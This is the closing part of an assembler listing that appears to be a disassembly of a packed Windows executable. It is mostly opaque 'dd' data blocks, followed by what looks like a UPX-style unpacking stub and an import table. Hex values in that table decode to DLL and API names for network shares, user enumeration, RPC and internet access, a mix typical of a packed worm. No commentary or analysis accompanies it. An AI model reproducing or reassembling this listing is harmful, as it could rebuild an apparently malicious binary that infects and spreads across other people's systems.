6076130Eh, 47D81497h dd 0CD99480Ch, 70D85B9Eh, 1A14D1D5h, 9C30CD82h, 571052FDh dd 65843020h, 950E9413h, 9B0D3B36h, 11211D3Bh, 42450519h dd 18B0BE58h, 224162C3h, 42D251BEh, 194D6E68h, 647D77CAh dd 52B3492Fh, 512F9681h, 0E82C1D28h, 8F117441h, 0D09B2B09h dd 13357393h, 962CDEEh, 5295C12Bh, 0F0F4510Fh, 6C3D4925h dd 61394436h, 1C246B6Eh, 49152F6Dh, 0E88A336Eh, 2F8F4500h dd 5061EE58h, 5A217645h, 0C302480Ah, 4B15C666h, 4782F7DFh dd 1D50090h, 2667DDACh, 62E7504Bh, 4F7965DBh, 0D3F0E57h dd 26CFA253h, 53454E54h, 0D8D54D43h, 22F92845h, 88406E45h dd 9E010822h, 31B059C6h, 14245768h, 45192157h, 6F0E0B31h dd 0B026EA54h, 49153214h, 0C7378AD4h, 6F73C8B9h, 4F646174h dd 0E7B6826Eh, 7DE94628h, 0D8628869h, 288A0B81h, 66304082h dd 14B607D1h, 64DA48A3h, 0D0E1412Bh, 0A163AE4Ch, 0D05C0731h dd 0F7422CAFh, 650C6577h, 61444816h, 784D9308h, 4167CE2Fh dd 4114E006h, 6C14AEB1h, 1F084C8h, 0F41E4127h, 0CE2562E4h dd 0B6FA81Fh, 55454AA0h, 8DF0A98Ch, 9641250Dh, 42482B6Ah dd 1B5B9247h, 435F6E65h, 9636BC5h, 76501821h, 366F2C11h dd 6C179B84h, 4A23E166h, 0CD65842h, 0A20E1C77h, 586C962Ch dd 0E981D0Fh, 0C4920416h, 0A415CD38h, 0B7081364h, 0CDEB0060h dd 2AF258Ah, 775A3909h, 30D10172h, 66544198h, 0AE1010FAh dd 4F714591h, 0DE1C7809h, 2208DB29h, 4861293Ah, 57574146h dd 68143B72h, 0B461167h, 1C0C536Eh, 4C26CD9h, 8E41103Fh dd 0D26CD9B6h, 570214E2h, 3D02574Eh, 24145092h, 0C9D7D867h dd 43411495h, 0FA176CC2h, 5700DB34h, 5F28EA62h, 0D75C9A73h dd 0BA63E568h, 93F86909h, 4785686Dh, 0E0610AE8h, 0DC64665Fh dd 9856C30Dh, 41EF1755h, 9BC26E09h, 7525128Bh, 620845B9h dd 41048B6Dh, 96108D2h, 74336668h, 2847691Eh, 77025267h dd 6B91DB9Bh, 4C690516h, 0DD736377h, 0BAD0B63Dh, 0AA687060h dd 70631E66h, 4F279579h, 7268079Eh, 7461706Dh, 0CE62C5FBh dd 27670A2Fh, 28776CA2h, 362F7BEFh, 29511018h, 604226Eh dd 6C327F33h, 66AA6E65h, 0CDEC3686h, 1E0E045Ah, 0CE852E59h dd 61711BDFh, 0F1746573h, 61BD8363h, 6E8D759Dh, 0D9B97334h dd 0CA606A3h, 6CDE2905h, 6EC680D8h, 0E797C8C7h, 431586C6h dd 4E5F903Dh, 9A70F111h, 0D8F57185h, 3D8D70BEh, 75166F0Ah dd 526B6666h, 0A395311h, 6540B13Dh, 0C0F94A02h, 918F6463h dd 2136D12h, 98AF658Eh, 0F61F6312h, 603B6387h, 876B570Eh dd 65EAEF61h, 7DB66E9Dh, 40C02h, 0B5C39232h, 85156F19h dd 8531341Bh, 279F2B25h, 0DB372955h, 0A88D73AEh, 3F8504Ch dd 80209FFh, 2CB2BAECh, 190F0706h, 0E6031003h, 920FC4C2h dd 0B8426370h dd 5162E8B3h, 1CF38B51h, 0C1B16128h, 121D4110h, 74CE8B45h dd 4E19DF16h, 2287B027h, 32B96415h, 0AD9A6D47h, 246030B0h dd 6E44FF24h, 40745152h, 31970648h, 1841458Ah, 0D3B566D0h dd 3030856Ch, 586E1321h, 415E9ACBh, 3482CB0Dh, 276C974h dd 3A095749h, 0E20293Ch, 68E850ADh, 0B662750Ah, 0C2A0BD9h dd 64475AAEh, 4469D498h, 33455F9Ch, 64CF3071h, 0B07C1E1h dd 6CCDAB97h, 676C8FBFh, 83819893h, 0BA6DAC49h, 41459AFBh dd 0B66ABE8h, 34228C6Dh, 0BC70BC1Dh, 0ACB5CD6h, 131B40E3h dd 6C492C3Eh, 73660E86h, 0CB153471h, 2D59D586h, 118360A1h dd 69126593h, 366EBA75h, 0B652D6B5h, 0CB125A74h, 0F1A11A72h dd 0B05EA760h, 18E8C831h, 4BA69C54h, 35845E46h, 0CF12081Eh dd 0D9EF5563h, 2FD5B62Ch, 59704048h, 3739212Ah, 7F472E58h dd 6A08E65h, 1A9684B6h, 25854E2Bh, 263BC040h, 78D965F9h dd 0DA06A9Ah, 0B2140175h, 159671F1h, 8A167E73h, 0CB2CB234h dd 4020E36h, 2C0C396Fh, 0BC636CBh, 130203A2h, 2C0D9712h dd 100AB2CBh, 53231770h, 0AB5B167Fh, 6C991441h, 16ACF047h dd 0D773041Ch, 4F0EDFDh, 0F0C0309h, 0C041404h, 5C038401h dd 0FDAD2C04h, 10C580Dh, 9CF00410h, 0B6051E01h, 2496C163h dd 0D4150D4Ch, 5F540B02h, 0CC5B7B77h, 41DD805h, 14AC1400h dd 0FF8C182Ch, 2BBFFFFh, 46CF00Eh, 213B0622h, 18161A36h dd 0F072D13h, 6927151Bh, 0A181F10h, 0FF060B5Dh, 0DFFFFFFh dd 3D120D08h, 0F2D140Fh, 250E2906h, 2C095A10h, 2D0A0609h dd 150B0D19h, 90B1320h, 0B72B490Fh, 27EDFFEEh, 0E2D170Bh dd 36061A21h, 0C0C1D0Ah, 7030C05h, 0FF190B05h, 3AFFFF6Fh dd 6070A57h, 60C1E20h, 80B120Fh, 36060518h, 16062B05h dd 151C0A10h, 7F1A0B06h, 15FDDFFBh, 16070828h, 0C24202Dh dd 0A9230A0Eh, 1C0145F0h, 16234B68h, 0ED0A0F0Ah, 22EDDBFFh dd 28321E0Eh, 1E260E26h, 15221950h, 0D151221h, 0F61D5724h dd 39FFFFFFh, 340C8106h, 3A1D350Eh, 8190625h, 7190911h dd 1612091Eh, 0E2E0C29h, 0A007091Dh, 0FC2FB7FEh, 1920201Bh dd 7F30B41Fh, 5D1B4B58h, 162B0A21h, 6F096C0Fh, 0DFB7B5BFh dd 1A0D0CA8h, 0E6A151Eh, 780614h, 301F5208h, 0EDD00094h dd 0A0806FFh, 35250711h, 80F2010h, 6F2E31B2h, 0B7BB7F6Fh dd 27101907h, 8083611h, 2FF0A330h, 9331601h, 0FFFFFF35h dd 472237FFh, 82B193Bh, 57071E13h, 730C1721h, 6C450A0Bh dd 5A0C2539h, 243D6513h, 8C071048h, 0FFF75F24h, 2E1A19FFh dd 1D160E36h, 911A1E0Fh, 1D2E190Ch, 13090907h, 913DF05h dd 0FB7FF62Eh, 2F0814B7h, 17081812h, 10A73C08h, 8373312Dh dd 6B1C7A28h, 7FF76C2Fh, 1B2FE161h, 0E2B2A30h, 153D4F2Eh dd 1F301311h, 0FFFF0533h, 42A5EA5h, 12101553h, 9B1D8013h dd 0D1E3B98h, 1EAA0A14h, 56EE9945h, 0F0D1CF8h, 53282717h dd 12030E05h, 0D63EE850h, 28020D0Bh, 0F080706h, 0FFFB1711h dd 361ACDFFh, 7163F1Bh, 38651407h, 1A305E12h, 0A3B4214h dd 0E1E0805h, 0DBFB4C24h, 0C8E7FB7h, 7182527h, 3F13AB0Ch dd 7271D3Bh, 0B421D47h, 685FA810h, 30067FFFh, 0E800D2Bh dd 0F30214Ch, 1E0D3425h, 255D4D02h, 0DBFF300Fh, 452FED85h dd 2212E608h, 90F2A07h, 0B0B1524h, 0E240A11h, 0FC2FB768h dd 36151731h, 171A2A05h, 730E1421h, 0C2051409h, 556FB76h dd 2CCE1FBAh, 0C08C360h, 2FF21B0Dh, 14FFF6FCh, 72A1411h dd 1C0E1626h, 6943830h, 142D0731h, 1222078Bh, 97FFFFFFh dd 1E29090Bh, 285B1717h, 11161310h, 3D23295Dh, 440B1D09h dd 21254334h, 17193835h, 8C685FDAh, 2B265D2Ah, 0A906111Eh dd 0BF0516B6h, 15E170BDh, 6165205h, 85199427h, 371C4405h dd 5F142494h, 196FB7F8h, 1A5D0809h, 480E19C5h, 184D0826h dd 100F1C34h, 0F6FE370Fh, 18216E0Bh, 0E3190D70h, 6340B08h dd 709200Eh, 1BFE1728h, 281117DBh, 17330212h, 6060D88h dd 60E01A38h, 51B6DB18h, 61223F8h, 54E2202Bh, 1410ED10h dd 0DDAD6D1Ah, 73B4EF8h, 19C4231Ah, 2981335h, 5BB5AD80h dd 169FC6A3h, 6B451D0Ch, 0FB7DBB1Fh, 323305B7h, 0D0B0723h dd 10174B16h, 0E054A311h, 58240E1Bh, 87E5EEBh, 0B991609h dd 2D05090Dh, 6D120D11h, 12EDEE6Bh, 71CA498h, 1B051340h dd 0BF85602Dh, 130EE37Dh, 2107540Ah, 1F890510h, 2061150Dh dd 0D8D82A26h, 2613D2FEh, 61F0911h, 0A093F17h, 170FD811h dd 9CDFFDBEh, 4616311Ah, 16370E28h, 0D361267h, 190A1718h dd 6DAD1214h, 1C264ADCh, 0C971A13h, 3BB7DAFEh, 19E56DBEh dd 491A3C1Ah, 0F38960Ah, 1E0C551Fh, 6A5FD2FFh, 10298002h dd 574F053Bh, 3C0A5365h, 62D2306h, 0BBA5C6C6h, 223BE86Eh dd 6605172Fh, 0E50E1D59h, 0BF0A342h, 37901B0Ch, 0BF070A9Bh dd 18FFC6F4h, 2F5B1629h, 28085A13h, 0F041AE1Ah, 3C39C75Ah dd 5B0C3C0Eh, 948D6B63h, 12CD9514h, 0D0130287h, 32DBFDBDh dd 2C3FBF11h, 260E1305h, 171315A6h, 0DB1C000Eh, 92ADEDBBh dd 2A9F06DCh, 3AB42FCBh, 18211206h, 2FFDA10Eh, 3145116Dh dd 11281611h, 1124320Dh, 0BC2BF617h, 0EB5B0AE4h, 0EFFF2D19h dd 0DE1E1412h, 872E35B0h, 7FE6170Ch, 2922ED1Ah, 0E1768833h dd 0DF7ED1B7h, 431E0209h, 3E211020h, 0F6FFFFFFh, 7103C1Eh dd 0B01D0F11h, 0F00174F0h, 50F008B2h, 0F04B0E03h, 0F0DD01D9h dd 0FF4909D2h, 1FEBBFA6h, 167F7A4Ch, 1064796Eh, 4BF03459h dd 232052D8h, 0DE3D7A14h, 0F0FFFEB6h, 0F03104A7h, 0D6F00957h dd 24BF005h, 3289D0F0h, 405D43Ah, 0C827FF8Dh, 72F0E300h dd 3FF01A01h, 0CE523A02h, 4D68D7F7h, 9305855Bh, 36BA31Ch dd 46DB1B0Bh, 2219A2Bh, 61205824h, 0EDFF4036h, 0C1FBA5Bh dd 880A1E0Ah, 7154D32h, 0BF47473Ch, 4556FEE4h, 115A2149h dd 0E300196Ch, 9361724h, 8DF1BF2Fh, 0AA123E0Bh, 727F090Dh dd 1E68EF1Eh, 6F0B8033h, 8BFE37FDh, 0A4192210h, 12EC3007h dd 102F00Dh, 0EA3B2229h, 3719124Dh, 0CFCB85Eh, 7D573F1Fh dd 347B2C23h, 0F62B2211h, 0C285071Ah, 975E8DADh, 1B649E15h dd 0ADF59D1Dh, 0CF007A55h, 461915D3h, 0ADFD0913h, 238EB742h dd 49204F08h, 26272A22h, 0F6FE2723h, 1800ADC8h, 2B0C5815h dd 0F013342Ch, 0F0550869h, 2DE25F6Fh, 8BF0D1ABh, 0EFF0C5B5h dd 3651002h, 0F636C641h, 1D1A69C2h, 600F9h, 0BA3902E0h dd 8DAF6E15h, 61608B1h, 7EC3150Ah, 6F2D2B20h, 500D65Ch dd 41CF7F0h, 4A886CA8h, 0F2143F08h, 0C0F07B0Ah, 2101B05h dd 0DD51019Fh, 5018030Ch, 91F10003h, 48E4991Fh, 780E3EAFh dd 28000001h, 0E47247CCh, 900171CCh, 5A000401h, 4766F510h dd 1E1401D0h, 1957F90Ah, 1736450h, 0E4014000h, 0B0FE42AFh dd 0F980001h, 28000010h, 0E4720004h, 177FAA9h, 60EC0178h dd 2860D440h, 0B5FB12FCh, 2B17D85Ch, 0C040B07Ch, 10183BDDh dd 0B3130A00h, 0DADB1427h, 428C3494h, 6BCC1329h, 0B7442800h dd 0C11BCE09h, 85h, 0 dd 0FF24h, 3 dup(0) dd 8247C80h, 0C2850F01h, 60000001h, 9B2000BEh, 0BE8D00h dd 57FFFEF0h, 0EBFFCD83h, 9090900Dh, 8846068Ah, 0DB014707h dd 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh dd 11DB11FCh, 73DB01C0h, 8B0975EFh, 0FCEE831Eh, 0E473DB11h dd 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h dd 0DB11FCEEh, 2075C911h, 75DB0141h, 831E8B07h, 0DB11FCEEh dd 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh, 2C183E4h dd 0F300FD81h, 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh dd 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh, 83078904h dd 0E98304C7h, 1F17704h, 0FF4CE9CFh, 895EFFFFh, 486B9F7h dd 78A0000h, 3CE82C47h, 80F77701h, 0F2750B3Fh, 5F8A078Bh dd 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h, 830789F0h dd 0D88805C7h, 0BE8DD9E2h, 1C000h, 0C009078Bh, 5F8B4574h dd 30848D04h, 1F000h, 8350F301h, 96FF08C7h, 1F140h, 47078A95h dd 0DC74C008h, 779F989h, 4707B70Fh, 57B94750h, 55AEF248h dd 0F14496FFh, 0C0090001h, 3890774h, 0EB04C383h, 0C03161D8h dd 83000CC2h, 5E8D04C7h, 8AC031FCh, 0C0094707h, 0EF3C2274h dd 0C3011177h, 0C486038Bh, 8610C0C1h, 89F001C4h, 24E2EB03h dd 10E0C10Fh, 83078B66h, 0E2EB02C7h, 0F148AE8Bh, 0BE8D0001h dd 0FFFFF000h, 1000BBh, 6A545000h, 0FF575304h, 2F878DD5h dd 80000002h, 60807F20h, 50587F28h, 57535054h, 6158D5FFh dd 8024448Dh, 0C439006Ah, 0EC83FA75h, 790AE980h, 0FFFFh dd 1D2h dup(0) dd 201C8h, 20140h, 3 dup(0) dd 201D5h, 20158h, 3 dup(0) dd 201E2h, 20160h, 3 dup(0) dd 201EAh, 20168h, 3 dup(0) dd 201F5h, 20170h, 3 dup(0) dd 20202h, 20178h, 3 dup(0) dd 2020Ch, 20180h, 3 dup(0) dd 20219h, 20188h, 3 dup(0) dd 20224h, 20190h, 3 dup(0) dd 20230h, 20198h, 3 dup(0) dd 2023Ch, 201A0h, 3 dup(0) dd 20247h, 201A8h, 3 dup(0) dd 20252h, 201B0h, 3 dup(0) dd 2025Eh, 201B8h, 3 dup(0) dd 2026Ah, 201C0h, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h dd 0 dd 77DD7A80h, 0 dd 71B2578Ch, 0 dd 77C36BD0h, 0 dd 5B894541h, 0 dd 774FEE36h, 0 dd 77124C05h, 0 dd 77EF34D0h, 0 dd 7C9EC6A0h, 0 dd 77F67E3Ch, 0 dd 78161DFDh, 0 dd 7E423DCEh, 0 dd 77C018BAh, 0 dd 7806C865h, 0 dd 71AB3B91h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 504D006Ch, 6C642E52h, 534D006Ch, 54524356h dd 6C6C642Eh, 54454E00h, 33495041h, 6C642E32h, 6C6F006Ch dd 2E323365h, 6C6C64h, 41454C4Fh, 32335455h, 6C6C642Eh dd 43505200h, 2E345452h, 6C6C64h, 4C454853h, 2E32334Ch dd 6C6C64h, 574C4853h, 2E495041h, 6C6C64h, 6D6C7275h, 642E6E6Fh dd 55006C6Ch, 33524553h, 6C642E32h, 4556006Ch, 4F495352h dd 6C642E4Eh, 4957006Ch, 454E494Eh, 6C642E54h, 5357006Ch dd 32335F32h, 6C6C642Eh, 6F4C0000h, 694C6461h, 72617262h dd 4179h, 50746547h, 41636F72h, 65726464h, 7373h, 74726956h dd 506C6175h, 65746F72h, 7463h, 74726956h, 416C6175h, 636F6C6Ch dd 69560000h, 61757472h, 6572466Ch, 65h, 65657246h, 646953h dd 4E570000h, 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h dd 57h, 736261h, 654E0000h, 65735574h, 756E4572h, 6Dh dd 6E556F43h, 74696E69h, 696C6169h, 657Ah, 4372644Eh, 6E65696Ch dd 6C614374h, 326Ch, 53727453h, 57497274h, 624F0000h, 6E696174h dd 72657355h, 6E656741h, 72745374h, 676E69h, 65470000h dd 676C4474h, 6D657449h, 65560000h, 65755172h, 61567972h dd 4165756Ch, 6E490000h, 6E726574h, 704F7465h, 416E65h dd 1F000h, 0Ch, 36FDh, 325h dup(0) dd 3F7C0A93h db 0 db 3 dup(?) dd 508h dup(?) _text ends end start